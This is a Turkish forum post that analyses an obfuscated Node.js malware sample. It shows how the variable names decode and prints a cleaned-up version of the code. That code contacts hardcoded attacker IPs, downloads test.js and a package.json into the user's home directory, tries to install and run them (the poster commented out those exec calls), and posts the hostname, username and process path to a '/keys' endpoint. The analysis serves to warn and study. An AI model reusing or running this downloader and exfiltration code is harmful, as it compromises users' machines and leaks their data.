teknori adlı üyeden alıntı: mesajı görüntüle
Çok karmaşık bir kod değil, değişken isimleri obfuscate edildiği böyle. Bu kod anlaşılabilir bir kod.

...
P = (aD) => ((s1 = aD.slice(1)), Buffer.from(s1, H).toString(I))
...
rq = require(P('YcmVxdWVzdA'))
...
P bir fonksiyon ve parametre olarak bir string alıyor.
P('YcmVxdWVzdA')
P fonksiyonu içinde işlemler yaparak bir sonuç döndürüyor ve aslında kod şuna dönüşüyor. rq = require('request')

Birkaç satırın örnek çıktısı:

rq = require("request")
pt = require("path")
ex = require("child_process")["exec"]
zv = require("node:process")
hd = O["homedir"]()
hs = O["hostname"]()
pl = O["platform"]()
uin = O["userInfo"]()
Tabi ki zaman alıcı bir şey, ama tersine mühendislik dediğimiz şey ile dünyadaki bütün yazılımlar okunabilir ve çalıştırılabilir hale getirilebilir. Tabi ki bazı kodlar öyle karmaşık olur ki çözmesi ve anlamlı hale getirilmesi çok uzun süre alabilir. Eğer senin için gerçekten önemliyse bu kodu kendin tek tek deobfuscate edebilirsin.

Dosya oluşturma ve silme işlemleri yapıyor.

Sadece bilgi amaçlı yazıyorum, bu konuda maalesef yardımcı olamam.

Edit1:

Virüs olduğunu söylediğin için merakıma yenik düştüm ve inceledim.
http://216.173.115.200:1244/s/83fe78ac2f79
Buraya istek atıyor. Hangi verileri gönderiyor vs bilmiyorum. Kullananları tespit etmek amacıyla vs olabilir veya verileri kendine göndermek.
Kodu inceledim buradaki linkte şifrelenmiş olarak farklı bir ip adresi bulunuyor (147.124.197.149). Şifrelenmiş kod yalnızca bir aracı, farklı bir projeyi indiriyor, kuruyor ve çalıştırıyor. İki sunucu da kapalı olduğu için test.js dosyasına erişip inceleyemedim. Bu dosyayı silmemiş birisi varsa ve bana ulaştırırsa o dosyayı da incelemek isterim.

Meraklısına;
(Kod zararlıdır, harici bir dosya indirerek çalıştırıyor. Çalıştırma fonksiyonu devre dışı bırakıldı. Çalıştırmanız kesinlikle tavsiye edilmez.)

const fs = require("fs");
const os = require("os");

request = require("request");
path = require("path");
exec = require("child_process").exec;
process = require("node:process");

let Q;
var a4 = "";


const ae = () => {
  console.log("ae")
  let aG = "/.vscode";
  try {
    aH = "/.vscode";
    fs.mkdirSync("/.vscode", {
      "recursive": true
    });
  } catch (aK) {
    aG = os.homedir();
  }
  try {
    ! function(aL) {
      K.rmSync(aL);
    }(path.join(os.homedir(), "test.js"));
  } catch (aL) {}
  request.get("/j/", (aM, aN, aO) => {
    if (!aM) {
      try {
        K.writeFileSync(path.join(os.homedir(), "test.js"), aO);
      } catch (aP) {}
      ai(os.homedir());
    }
  });
};

const ai = home => {
  console.log("ai")
  if (fs.existsSync(path.join(home, "package.json"))) {
    am(home);
  } else {
    request.get("/p", (aI, aJ, aK) => {
      if (!aI) {
        try {
          K.writeFileSync(path.join(home, "package.json"), aK);
        } catch (aL) {}
        am(home);
      }
    });
  }
};

const am = home => {
  console.log("am")
  try {
    if (fs.existsSync(path.join(home, "node_modules"))) {
      ar(home);
    } else {
      //exec("cd \"" + home + "\" && npm i --silent", (aG, aH, aI) => {
        aq(home);
      //});
    }
  } catch (aG) {}
};

const aq = home => {
  console.log("aq")
  try {
    if (fs.existsSync(path.join(home, "node_modules"))) {
      ar(home);
    } else {
      //exec("npm --prefix \"" + home + "\" install", (aG, aH, aI) => {
        ar(home);
      //});
    }
  } catch (aG) {}
};

const ar = home => {
  console.log("ar")
  try {
    //exec("node " + path.join(home, "test.js"), (aG, aH, aI) => {});
  } catch (aG) {}
};

const aw = async aD => {
  console.log("aw")
  request.get("http://216.173.115.200:1244/s/83fe78ac2f79", (aH, aI, aJ) => {
    if (aH) {
      if (aD < 1) {
        aw(1);
      }
    } else if ((aK => {
        if (0 == aK.search("ZT3")) {
          let aL = "";
          try {
            for (let aM = 3; aM < aK.length; aM++) {
              aL += aK[aM];
            }
            arr = Buffer.from(aL, "base64").toString("utf8");
            arr = arr.split(",");
            a3 = "http://" + arr[0] + ":1244";
            a4 = arr[1];
          } catch (aN) {
            return 0;
          }
          return 1;
        }
        return 0;
      })(aJ) > 0) {
      ax();
      az();
    }
  });
};

const ax = async () => {
  console.log("ax")
  if ("d" == os.platform()[0]) {
    av = os.hostname() + "+" + os.userInfo().username;
  }
  let aD = "3E1";
  try {
    aD += process.argv[1];
  } catch (aE) {}
  ay("oqr", aD);
};

const ay = async (aD, aE) => {
  console.log("ay")
  const aF = {
    "ts": Q,
    "type": a4,
    "hid": "cmp",
    "ss": aD,
    "cc": aE
  };
  const aG = {
    "url": "/keys",
    "formData": aF
  };
  try {
    request.post(aG, (aH, aI, aJ) => {});
  } catch (aH) {}
};

const az = async () => await new Promise((aD, aE) => {
  console.log("az")
  ae();
});
var aA = 0;
const aB = async () => {
  console.log("ab")
  try {
    Q = Date.now().toString();
    await aw(0);
  } catch (aD) {}
};
aB();
let aC = setInterval(() => {
  console.log("ac")
  if ((aA += 1) < 3) {
    aB();
  } else {
    clearInterval(aC);
  }
}, 600000);